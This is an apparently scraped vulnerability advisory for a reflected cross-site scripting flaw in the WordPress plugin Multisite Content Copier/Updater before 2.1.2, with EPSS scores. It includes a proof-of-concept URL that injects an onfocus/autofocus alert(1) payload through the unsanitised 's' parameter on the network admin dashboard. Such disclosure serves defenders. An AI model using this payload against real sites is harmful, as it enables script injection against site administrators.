Multisite Content Copier/Updater < 2.1.2 - Reflected Cross-Site Scripting

2022-02-2100:00:00

wpvulndb

0.001 Low

EPSS

Percentile

40.2%

JSON

The plugin does not sanitise and escape the s parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue in the network dashboard

https://example.com/wp-admin/network/admin.php?page=wordpress-multisite-content-copier&s=dxsqp"+onfocus%3Dalert(1)+autofocus%3D+p00d5qdcwad&wmcc_records[0]=1&wmcc_content_type=post&wmcc_source_blog=4&wmcc_record_per_page=10&wmcc_destination_blogs[0]=1&wmcc_destination_blogs[1]=2&wmcc_destination_blogs[2]=3&wmcc_destination_blogs[3]=5&copy_media=1&copy_terms=1&wmcc_submit=Copy%2FUpdate

0.001 Low

EPSS

Percentile

40.2%

JSON

Related for WPEX-ID:B6D38E23-3761-4447-A794-1E5077FD953A